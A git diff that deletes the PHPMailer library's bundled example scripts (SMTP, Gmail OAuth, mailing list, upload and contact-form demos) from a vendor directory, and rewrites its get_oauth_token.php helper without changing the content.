'{imap.gmail.com:993/imap/ssl}[Gmail]/Sent Mail'; - - //Tell your server to open an IMAP connection using the same username and password as you used for SMTP - $imapStream = imap_open($path, $mail->Username, $mail->Password); - - $result = imap_append($imapStream, $path, $mail->getSentMIMEMessage()); - imap_close($imapStream); - - return $result; -} diff --git a/vendor/phpmailer/phpmailer/examples/gmail_xoauth.phps b/vendor/phpmailer/phpmailer/examples/gmail_xoauth.phps deleted file mode 100644 index 867de0651a..0000000000 --- a/vendor/phpmailer/phpmailer/examples/gmail_xoauth.phps +++ /dev/null @@ -1,110 +0,0 @@ -isSMTP(); - -//Enable SMTP debugging -//SMTP::DEBUG_OFF = off (for production use) -//SMTP::DEBUG_CLIENT = client messages -//SMTP::DEBUG_SERVER = client and server messages -$mail->SMTPDebug = SMTP::DEBUG_SERVER; - -//Set the hostname of the mail server -$mail->Host = 'smtp.gmail.com'; - -//Set the SMTP port number: -// - 465 for SMTP with implicit TLS, a.k.a. RFC8314 SMTPS or -// - 587 for SMTP+STARTTLS -$mail->Port = 465; - -//Set the encryption mechanism to use: -// - SMTPS (implicit TLS on port 465) or -// - STARTTLS (explicit TLS on port 587) -$mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; - -//Whether to use SMTP authentication -$mail->SMTPAuth = true; - -//Set AuthType to use XOAUTH2 -$mail->AuthType = 'XOAUTH2'; - -//Fill in authentication details here -//Either the gmail account owner, or the user that gave consent -$email = 'someone@gmail.com'; -$clientId = 'RANDOMCHARS-----duv1n2.apps.googleusercontent.com'; -$clientSecret = 'RANDOMCHARS-----lGyjPcRtvP'; - -//Obtained by configuring and running get_oauth_token.php -//after setting up an app in Google Developer Console. -$refreshToken = 'RANDOMCHARS-----DWxgOvPT003r-yFUV49TQYag7_Aod7y0'; - -//Create a new OAuth2 provider instance -$provider = new Google( - [ - 'clientId' => $clientId, - 'clientSecret' => $clientSecret, - ] -); - -//Pass the OAuth provider instance to PHPMailer -$mail->setOAuth( - new OAuth( - [ - 'provider' => $provider, - 'clientId' => $clientId, - 'clientSecret' => $clientSecret, - 'refreshToken' => $refreshToken, - 'userName' => $email, - ] - ) -); - -//Set who the message is to be sent from -//For gmail, this generally needs to be the same as the user you logged in as -$mail->setFrom($email, 'First Last'); - -//Set who the message is to be sent to -$mail->addAddress('someone@gmail.com', 'John Doe'); - -//Set the subject line -$mail->Subject = 'PHPMailer GMail XOAUTH2 SMTP test'; - -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->CharSet = PHPMailer::CHARSET_UTF8; -$mail->msgHTML(file_get_contents('contentsutf8.html'), __DIR__); - -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; - -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} diff --git a/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.afdesign b/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.afdesign deleted file mode 100644 index ff6f6a02c1..0000000000 Binary files a/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.afdesign and /dev/null differ diff --git a/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.png b/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.png deleted file mode 100644 index 68370c0bbe..0000000000 Binary files a/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.png and /dev/null differ diff --git a/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.svg b/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.svg deleted file mode 100644 index 7d3e1a898c..0000000000 --- a/vendor/phpmailer/phpmailer/examples/images/PHPMailer card logo.svg +++ /dev/null @@ -1,209 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/phpmailer/phpmailer/examples/images/phpmailer.png b/vendor/phpmailer/phpmailer/examples/images/phpmailer.png deleted file mode 100644 index 9bdd83c8de..0000000000 Binary files a/vendor/phpmailer/phpmailer/examples/images/phpmailer.png and /dev/null differ diff --git a/vendor/phpmailer/phpmailer/examples/images/phpmailer_mini.png b/vendor/phpmailer/phpmailer/examples/images/phpmailer_mini.png deleted file mode 100644 index e6915f4317..0000000000 Binary files a/vendor/phpmailer/phpmailer/examples/images/phpmailer_mini.png and /dev/null differ diff --git a/vendor/phpmailer/phpmailer/examples/mail.phps b/vendor/phpmailer/phpmailer/examples/mail.phps deleted file mode 100644 index ee973ef0d7..0000000000 --- a/vendor/phpmailer/phpmailer/examples/mail.phps +++ /dev/null @@ -1,35 +0,0 @@ -setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer mail() test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} diff --git a/vendor/phpmailer/phpmailer/examples/mailing_list.phps b/vendor/phpmailer/phpmailer/examples/mailing_list.phps deleted file mode 100644 index 62925c9fd3..0000000000 --- a/vendor/phpmailer/phpmailer/examples/mailing_list.phps +++ /dev/null @@ -1,78 +0,0 @@ -isSMTP(); -$mail->Host = 'smtp.example.com'; -$mail->SMTPAuth = true; -$mail->SMTPKeepAlive = true; //SMTP connection will not close after each email sent, reduces SMTP overhead -$mail->Port = 25; -$mail->Username = 'yourname@example.com'; -$mail->Password = 'yourpassword'; -$mail->setFrom('list@example.com', 'List manager'); -$mail->addReplyTo('list@example.com', 'List manager'); - -$mail->Subject = 'PHPMailer Simple database mailing list test'; - -//Same body for all messages, so set this before the sending loop -//If you generate a different body for each recipient (e.g. you're using a templating system), -//set it inside the loop -$mail->msgHTML($body); -//msgHTML also sets AltBody, but if you want a custom one, set it afterwards -$mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; - -//Connect to the database and select the recipients from your mailing list that have not yet been sent to -//You'll need to alter this to match your database -$mysql = mysqli_connect('localhost', 'username', 'password'); -mysqli_select_db($mysql, 'mydb'); -$result = mysqli_query($mysql, 'SELECT full_name, email, photo FROM mailinglist WHERE sent = FALSE'); - -foreach ($result as $row) { - try { - $mail->addAddress($row['email'], $row['full_name']); - } catch (Exception $e) { - echo 'Invalid address skipped: ' . htmlspecialchars($row['email']) . '
                              '; - continue; - } - if (!empty($row['photo'])) { - //Assumes the image data is stored in the DB - $mail->addStringAttachment($row['photo'], 'YourPhoto.jpg'); - } - - try { - $mail->send(); - echo 'Message sent to :' . htmlspecialchars($row['full_name']) . ' (' . - htmlspecialchars($row['email']) . ')
                              '; - //Mark it as sent in the DB - mysqli_query( - $mysql, - "UPDATE mailinglist SET sent = TRUE WHERE email = '" . - mysqli_real_escape_string($mysql, $row['email']) . "'" - ); - } catch (Exception $e) { - echo 'Mailer Error (' . htmlspecialchars($row['email']) . ') ' . $mail->ErrorInfo . '
                              '; - //Reset the connection to abort sending this message - //The loop will continue trying to send to the rest of the list - $mail->getSMTPInstance()->reset(); - } - //Clear all addresses and attachments for the next iteration - $mail->clearAddresses(); - $mail->clearAttachments(); -} diff --git a/vendor/phpmailer/phpmailer/examples/pop_before_smtp.phps b/vendor/phpmailer/phpmailer/examples/pop_before_smtp.phps deleted file mode 100644 index c6aa343a44..0000000000 --- a/vendor/phpmailer/phpmailer/examples/pop_before_smtp.phps +++ /dev/null @@ -1,60 +0,0 @@ -isSMTP(); - //Enable SMTP debugging - //SMTP::DEBUG_OFF = off (for production use) - //SMTP::DEBUG_CLIENT = client messages - //SMTP::DEBUG_SERVER = client and server messages - $mail->SMTPDebug = SMTP::DEBUG_SERVER; - //Set the hostname of the mail server - $mail->Host = 'mail.example.com'; - //Set the SMTP port number - likely to be 25, 465 or 587 - $mail->Port = 25; - //Whether to use SMTP authentication - $mail->SMTPAuth = false; - //Set who the message is to be sent from - $mail->setFrom('from@example.com', 'First Last'); - //Set an alternative reply-to address - $mail->addReplyTo('replyto@example.com', 'First Last'); - //Set who the message is to be sent to - $mail->addAddress('whoto@example.com', 'John Doe'); - //Set the subject line - $mail->Subject = 'PHPMailer POP-before-SMTP test'; - //Read an HTML message body from an external file, convert referenced images to embedded, - //and convert the HTML into a basic plain-text alternative body - $mail->msgHTML(file_get_contents('contents.html'), __DIR__); - //Replace the plain text body with one created manually - $mail->AltBody = 'This is a plain-text message body'; - //Attach an image file - $mail->addAttachment('images/phpmailer_mini.png'); - //send the message - //Note that we don't need check the response from this because it will throw an exception if it has trouble - $mail->send(); - echo 'Message sent!'; -} catch (Exception $e) { - echo $e->errorMessage(); //Pretty error messages from PHPMailer -} catch (\Exception $e) { - echo $e->getMessage(); //Boring error messages from anything else! -} diff --git a/vendor/phpmailer/phpmailer/examples/send_file_upload.phps b/vendor/phpmailer/phpmailer/examples/send_file_upload.phps deleted file mode 100644 index 2d978cf0af..0000000000 --- a/vendor/phpmailer/phpmailer/examples/send_file_upload.phps +++ /dev/null @@ -1,60 +0,0 @@ -setFrom('from@example.com', 'First Last'); - $mail->addAddress('whoto@example.com', 'John Doe'); - $mail->Subject = 'PHPMailer file sender'; - $mail->Body = 'My message body'; - //Attach the uploaded file - if (!$mail->addAttachment($uploadfile, 'My uploaded file')) { - $msg .= 'Failed to attach file ' . $_FILES['userfile']['name']; - } - if (!$mail->send()) { - $msg .= 'Mailer Error: ' . $mail->ErrorInfo; - } else { - $msg .= 'Message sent!'; - } - } else { - $msg .= 'Failed to move file to ' . $uploadfile; - } -} -?> - - - - - PHPMailer Upload - - - -
                              - Send this file: - -
                              - - - \ No newline at end of file diff --git a/vendor/phpmailer/phpmailer/examples/send_multiple_file_upload.phps b/vendor/phpmailer/phpmailer/examples/send_multiple_file_upload.phps deleted file mode 100644 index 0356d116b3..0000000000 --- a/vendor/phpmailer/phpmailer/examples/send_multiple_file_upload.phps +++ /dev/null @@ -1,60 +0,0 @@ -setFrom('from@example.com', 'First Last'); - $mail->addAddress('whoto@example.com', 'John Doe'); - $mail->Subject = 'PHPMailer file sender'; - $mail->Body = 'My message body'; - //Attach multiple files one by one - for ($ct = 0, $ctMax = count($_FILES['userfile']['tmp_name']); $ct < $ctMax; $ct++) { - //Extract an extension from the provided filename - $ext = PHPMailer::mb_pathinfo($_FILES['userfile']['name'], PATHINFO_EXTENSION); - //Define a safe location to move the uploaded file to, preserving the extension - $uploadfile = tempnam(sys_get_temp_dir(), hash('sha256', $_FILES['userfile']['name'][$ct])) . '.' . $ext; - $filename = $_FILES['userfile']['name'][$ct]; - if (move_uploaded_file($_FILES['userfile']['tmp_name'][$ct], $uploadfile)) { - if (!$mail->addAttachment($uploadfile, $filename)) { - $msg .= 'Failed to attach file ' . $filename; - } - } else { - $msg .= 'Failed to move file to ' . $uploadfile; - } - } - if (!$mail->send()) { - $msg .= 'Mailer Error: ' . $mail->ErrorInfo; - } else { - $msg .= 'Message sent!'; - } -} -?> - - - - - PHPMailer Upload - - - -
                              - - Select one or more files: - - -
                              - - - diff --git a/vendor/phpmailer/phpmailer/examples/sendmail.phps b/vendor/phpmailer/phpmailer/examples/sendmail.phps deleted file mode 100644 index 8aabdc2340..0000000000 --- a/vendor/phpmailer/phpmailer/examples/sendmail.phps +++ /dev/null @@ -1,37 +0,0 @@ -isSendmail(); -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer sendmail test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} diff --git a/vendor/phpmailer/phpmailer/examples/simple_contact_form.phps b/vendor/phpmailer/phpmailer/examples/simple_contact_form.phps deleted file mode 100644 index 2915c9b963..0000000000 --- a/vendor/phpmailer/phpmailer/examples/simple_contact_form.phps +++ /dev/null @@ -1,102 +0,0 @@ -isSMTP(); - $mail->Host = 'localhost'; - $mail->Port = 25; - $mail->CharSet = PHPMailer::CHARSET_UTF8; - //It's important not to use the submitter's address as the from address as it's forgery, - //which will cause your messages to fail SPF checks. - //Use an address in your own domain as the from address, put the submitter's address in a reply-to - $mail->setFrom('contact@example.com', (empty($name) ? 'Contact form' : $name)); - $mail->addAddress($to); - $mail->addReplyTo($email, $name); - $mail->Subject = 'Contact form: ' . $subject; - $mail->Body = "Contact form submission\n\n" . $query; - if (!$mail->send()) { - $msg .= 'Mailer Error: ' . $mail->ErrorInfo; - } else { - $msg .= 'Message sent!'; - } - } -} ?> - - - - - PHPMailer Contact Form - - -

                              Contact us

                              - -
                              - -
                              -
                              -
                              -
                              -
                              -
                              - -
                              - - - \ No newline at end of file diff --git a/vendor/phpmailer/phpmailer/examples/smime_signed_mail.phps b/vendor/phpmailer/phpmailer/examples/smime_signed_mail.phps deleted file mode 100644 index 7ddc2bef68..0000000000 --- a/vendor/phpmailer/phpmailer/examples/smime_signed_mail.phps +++ /dev/null @@ -1,99 +0,0 @@ -setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer mail() test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//Convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//Configure message signing (the actual signing does not occur until sending) -$mail->sign( - '/path/to/cert.crt', //The location of your certificate file - '/path/to/cert.key', //The location of your private key file - //The password you protected your private key with (not the Import Password! - //May be empty but the parameter must not be omitted! - 'yourSecretPrivateKeyPassword', - '/path/to/certchain.pem' //The location of your chain file -); - -//Send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} -/* - * REMARKS: - * If your email client does not support S/MIME it will most likely just show an attachment smime.p7s, - * which is the signature contained in the email. - * Other clients, such as Thunderbird support S/MIME natively and will validate the signature - * automatically and report the result in some way. - */ diff --git a/vendor/phpmailer/phpmailer/examples/smtp.phps b/vendor/phpmailer/phpmailer/examples/smtp.phps deleted file mode 100644 index f1e07b4f0c..0000000000 --- a/vendor/phpmailer/phpmailer/examples/smtp.phps +++ /dev/null @@ -1,57 +0,0 @@ -isSMTP(); -//Enable SMTP debugging -//SMTP::DEBUG_OFF = off (for production use) -//SMTP::DEBUG_CLIENT = client messages -//SMTP::DEBUG_SERVER = client and server messages -$mail->SMTPDebug = SMTP::DEBUG_SERVER; -//Set the hostname of the mail server -$mail->Host = 'mail.example.com'; -//Set the SMTP port number - likely to be 25, 465 or 587 -$mail->Port = 25; -//Whether to use SMTP authentication -$mail->SMTPAuth = true; -//Username to use for SMTP authentication -$mail->Username = 'yourname@example.com'; -//Password to use for SMTP authentication -$mail->Password = 'yourpassword'; -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer SMTP test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} diff --git a/vendor/phpmailer/phpmailer/examples/smtp_check.phps b/vendor/phpmailer/phpmailer/examples/smtp_check.phps deleted file mode 100644 index be9347c1fa..0000000000 --- a/vendor/phpmailer/phpmailer/examples/smtp_check.phps +++ /dev/null @@ -1,60 +0,0 @@ -do_debug = SMTP::DEBUG_CONNECTION; - -try { - //Connect to an SMTP server - if (!$smtp->connect('mail.example.com', 25)) { - throw new Exception('Connect failed'); - } - //Say hello - if (!$smtp->hello(gethostname())) { - throw new Exception('EHLO failed: ' . $smtp->getError()['error']); - } - //Get the list of ESMTP services the server offers - $e = $smtp->getServerExtList(); - //If server can do TLS encryption, use it - if (is_array($e) && array_key_exists('STARTTLS', $e)) { - $tlsok = $smtp->startTLS(); - if (!$tlsok) { - throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']); - } - //Repeat EHLO after STARTTLS - if (!$smtp->hello(gethostname())) { - throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']); - } - //Get new capabilities list, which will usually now include AUTH if it didn't before - $e = $smtp->getServerExtList(); - } - //If server supports authentication, do it (even if no encryption) - if (is_array($e) && array_key_exists('AUTH', $e)) { - if ($smtp->authenticate('username', 'password')) { - echo 'Connected ok!'; - } else { - throw new Exception('Authentication failed: ' . $smtp->getError()['error']); - } - } -} catch (Exception $e) { - echo 'SMTP error: ' . $e->getMessage(), "\n"; -} -//Whatever happened, close the connection. -$smtp->quit(); diff --git a/vendor/phpmailer/phpmailer/examples/smtp_low_memory.phps b/vendor/phpmailer/phpmailer/examples/smtp_low_memory.phps deleted file mode 100644 index 0bb1a31c8f..0000000000 --- a/vendor/phpmailer/phpmailer/examples/smtp_low_memory.phps +++ /dev/null @@ -1,131 +0,0 @@ -sendCommand('DATA', 'DATA', 354)) { - return false; - } - - /* The server is ready to accept data! - * According to rfc821 we should not send more than 1000 characters on a single line (including the LE) - * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into - * smaller lines to fit within the limit. - * We will also look for lines that start with a '.' and prepend an additional '.'. - * NOTE: this does not count towards line-length limit. - */ - - //Normalize line breaks - $msg_data = str_replace(["\r\n", "\r"], "\n", $msg_data); - - /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field - * of the first line (':' separated) does not contain a space then it _should_ be a header and we will - * process all lines before a blank line as headers. - */ - - $firstline = substr($msg_data, 0, strcspn($msg_data, "\n", 0)); - $field = substr($firstline, 0, strpos($firstline, ':')); - $in_headers = false; - if (!empty($field) && strpos($field, ' ') === false) { - $in_headers = true; - } - - $offset = 0; - $len = strlen($msg_data); - while ($offset < $len) { - //Get position of next line break - $linelen = strcspn($msg_data, "\n", $offset); - //Get the next line - $line = substr($msg_data, $offset, $linelen); - //Remember where we have got to - $offset += ($linelen + 1); - $lines_out = []; - if ($in_headers && $line === '') { - $in_headers = false; - } - //We need to break this line up into several smaller lines - //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len) - while (isset($line[self::MAX_LINE_LENGTH])) { - //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on - //so as to avoid breaking in the middle of a word - $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); - //Deliberately matches both false and 0 - if (!$pos) { - //No nice break found, add a hard break - $pos = self::MAX_LINE_LENGTH - 1; - $lines_out[] = substr($line, 0, $pos); - $line = substr($line, $pos); - } else { - //Break at the found point - $lines_out[] = substr($line, 0, $pos); - //Move along by the amount we dealt with - $line = substr($line, $pos + 1); - } - //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 - if ($in_headers) { - $line = "\t" . $line; - } - } - $lines_out[] = $line; - - //Send the lines to the server - foreach ($lines_out as $line_out) { - //RFC2821 section 4.5.2 - if (!empty($line_out) && $line_out[0] === '.') { - $line_out = '.' . $line_out; - } - $this->client_send($line_out . self::LE); - } - } - - //Message data has been sent, complete the command - //Increase timelimit for end of DATA command - $savetimelimit = $this->Timelimit; - $this->Timelimit *= 2; - $result = $this->sendCommand('DATA END', '.', 250); - //Restore timelimit - $this->Timelimit = $savetimelimit; - - return $result; - } -} - -/** - * We need to use a PHPMailer subclass to make it use our SMTP implementation. - * @package PHPMailer\PHPMailer - */ -class PHPMailerLowMemory extends PHPMailer -{ - /** - * Patch in the new SMTP class. - * @return SMTP - */ - public function getSMTPInstance() - { - if (!is_object($this->smtp)) { - $this->smtp = new SMTPLowMemory(); - } - - return $this->smtp; - } -} diff --git a/vendor/phpmailer/phpmailer/examples/smtp_no_auth.phps b/vendor/phpmailer/phpmailer/examples/smtp_no_auth.phps deleted file mode 100644 index 398f100f6c..0000000000 --- a/vendor/phpmailer/phpmailer/examples/smtp_no_auth.phps +++ /dev/null @@ -1,53 +0,0 @@ -isSMTP(); -//Enable SMTP debugging -//SMTP::DEBUG_OFF = off (for production use) -//SMTP::DEBUG_CLIENT = client messages -//SMTP::DEBUG_SERVER = client and server messages -$mail->SMTPDebug = SMTP::DEBUG_SERVER; -//Set the hostname of the mail server -$mail->Host = 'mail.example.com'; -//Set the SMTP port number - likely to be 25, 465 or 587 -$mail->Port = 25; -//We don't need to set this as it's the default value -//$mail->SMTPAuth = false; -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer SMTP without auth test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} diff --git a/vendor/phpmailer/phpmailer/examples/ssl_options.phps b/vendor/phpmailer/phpmailer/examples/ssl_options.phps deleted file mode 100644 index 2a930c840b..0000000000 --- a/vendor/phpmailer/phpmailer/examples/ssl_options.phps +++ /dev/null @@ -1,81 +0,0 @@ -isSMTP(); - -//Enable SMTP debugging -//SMTP::DEBUG_OFF = off (for production use) -//SMTP::DEBUG_CLIENT = client messages -//SMTP::DEBUG_SERVER = client and server messages -$mail->SMTPDebug = SMTP::DEBUG_SERVER; - -//Set the hostname of the mail server -$mail->Host = 'smtp.example.com'; - -//Set the SMTP port number: -// - 465 for SMTP with implicit TLS, a.k.a. RFC8314 SMTPS or -// - 587 for SMTP+STARTTLS -$mail->Port = 465; - -//Set the encryption mechanism to use: -// - SMTPS (implicit TLS on port 465) or -// - STARTTLS (explicit TLS on port 587) -$mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; - -//Custom connection options -//Note that these settings are INSECURE -$mail->SMTPOptions = array( - 'ssl' => [ - 'verify_peer' => true, - 'verify_depth' => 3, - 'allow_self_signed' => true, - 'peer_name' => 'smtp.example.com', - 'cafile' => '/etc/ssl/ca_cert.pem', - ], -); - -//Whether to use SMTP authentication -$mail->SMTPAuth = true; - -//Username to use for SMTP authentication - use full email address for gmail -$mail->Username = 'username@example.com'; - -//Password to use for SMTP authentication -$mail->Password = 'yourpassword'; - -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); - -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); - -//Set the subject line -$mail->Subject = 'PHPMailer SMTP options test'; - -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), __DIR__); - -//Send the message, check for errors -if (!$mail->send()) { - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message sent!'; -} diff --git a/vendor/phpmailer/phpmailer/get_oauth_token.php b/vendor/phpmailer/phpmailer/get_oauth_token.php index 85dde298e2..befdc34a59 100644 --- a/vendor/phpmailer/phpmailer/get_oauth_token.php +++ b/vendor/phpmailer/phpmailer/get_oauth_token.php @@ -1,146 +1,146 @@ - - * @author Jim Jagielski (jimjag) - * @author Andy Prevost (codeworxtech) - * @author Brent R. Matzelle (original founder) - * @copyright 2012 - 2020 Marcus Bointon - * @copyright 2010 - 2012 Jim Jagielski - * @copyright 2004 - 2009 Andy Prevost - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - * @note This program is distributed in the hope that it will be useful - WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. - */ - -/** - * Get an OAuth2 token from an OAuth2 provider. - * * Install this script on your server so that it's accessible - * as [https/http]:////get_oauth_token.php - * e.g.: http://localhost/phpmailer/get_oauth_token.php - * * Ensure dependencies are installed with 'composer install' - * * Set up an app in your Google/Yahoo/Microsoft account - * * Set the script address as the app's redirect URL - * If no refresh token is obtained when running this file, - * revoke access to your app and run the script again. - */ - -namespace PHPMailer\PHPMailer; - -/** - * Aliases for League Provider Classes - * Make sure you have added these to your composer.json and run `composer install` - * Plenty to choose from here: - * @see http://oauth2-client.thephpleague.com/providers/thirdparty/ - */ -//@see https://github.com/thephpleague/oauth2-google -use League\OAuth2\Client\Provider\Google; -//@see https://packagist.org/packages/hayageek/oauth2-yahoo -use Hayageek\OAuth2\Client\Provider\Yahoo; -//@see https://github.com/stevenmaguire/oauth2-microsoft -use Stevenmaguire\OAuth2\Client\Provider\Microsoft; - -if (!isset($_GET['code']) && !isset($_GET['provider'])) { - ?> - -Select Provider:
                              -Google
                              -Yahoo
                              -Microsoft/Outlook/Hotmail/Live/Office365
                              - - - $clientId, - 'clientSecret' => $clientSecret, - 'redirectUri' => $redirectUri, - 'accessType' => 'offline' -]; - -$options = []; -$provider = null; - -switch ($providerName) { - case 'Google': - $provider = new Google($params); - $options = [ - 'scope' => [ - 'https://mail.google.com/' - ] - ]; - break; - case 'Yahoo': - $provider = new Yahoo($params); - break; - case 'Microsoft': - $provider = new Microsoft($params); - $options = [ - 'scope' => [ - 'wl.imap', - 'wl.offline_access' - ] - ]; - break; -} - -if (null === $provider) { - exit('Provider missing'); -} - -if (!isset($_GET['code'])) { - //If we don't have an authorization code then get one - $authUrl = $provider->getAuthorizationUrl($options); - $_SESSION['oauth2state'] = $provider->getState(); - header('Location: ' . $authUrl); - exit; - //Check given state against previously stored one to mitigate CSRF attack -} elseif (empty($_GET['state']) || ($_GET['state'] !== $_SESSION['oauth2state'])) { - unset($_SESSION['oauth2state']); - unset($_SESSION['provider']); - exit('Invalid state'); -} else { - unset($_SESSION['provider']); - //Try to get an access token (using the authorization code grant) - $token = $provider->getAccessToken( - 'authorization_code', - [ - 'code' => $_GET['code'] - ] - ); - //Use this to interact with an API on the users behalf - //Use this to get a new access token if the old one expires - echo 'Refresh Token: ', $token->getRefreshToken(); -} + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2020 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +/** + * Get an OAuth2 token from an OAuth2 provider. + * * Install this script on your server so that it's accessible + * as [https/http]:////get_oauth_token.php + * e.g.: http://localhost/phpmailer/get_oauth_token.php + * * Ensure dependencies are installed with 'composer install' + * * Set up an app in your Google/Yahoo/Microsoft account + * * Set the script address as the app's redirect URL + * If no refresh token is obtained when running this file, + * revoke access to your app and run the script again. + */ + +namespace PHPMailer\PHPMailer; + +/** + * Aliases for League Provider Classes + * Make sure you have added these to your composer.json and run `composer install` + * Plenty to choose from here: + * @see http://oauth2-client.thephpleague.com/providers/thirdparty/ + */ +//@see https://github.com/thephpleague/oauth2-google +use League\OAuth2\Client\Provider\Google; +//@see https://packagist.org/packages/hayageek/oauth2-yahoo +use Hayageek\OAuth2\Client\Provider\Yahoo; +//@see https://github.com/stevenmaguire/oauth2-microsoft +use Stevenmaguire\OAuth2\Client\Provider\Microsoft; + +if (!isset($_GET['code']) && !isset($_GET['provider'])) { + ?> + +Select Provider:
                              +Google
                              +Yahoo
                              +Microsoft/Outlook/Hotmail/Live/Office365
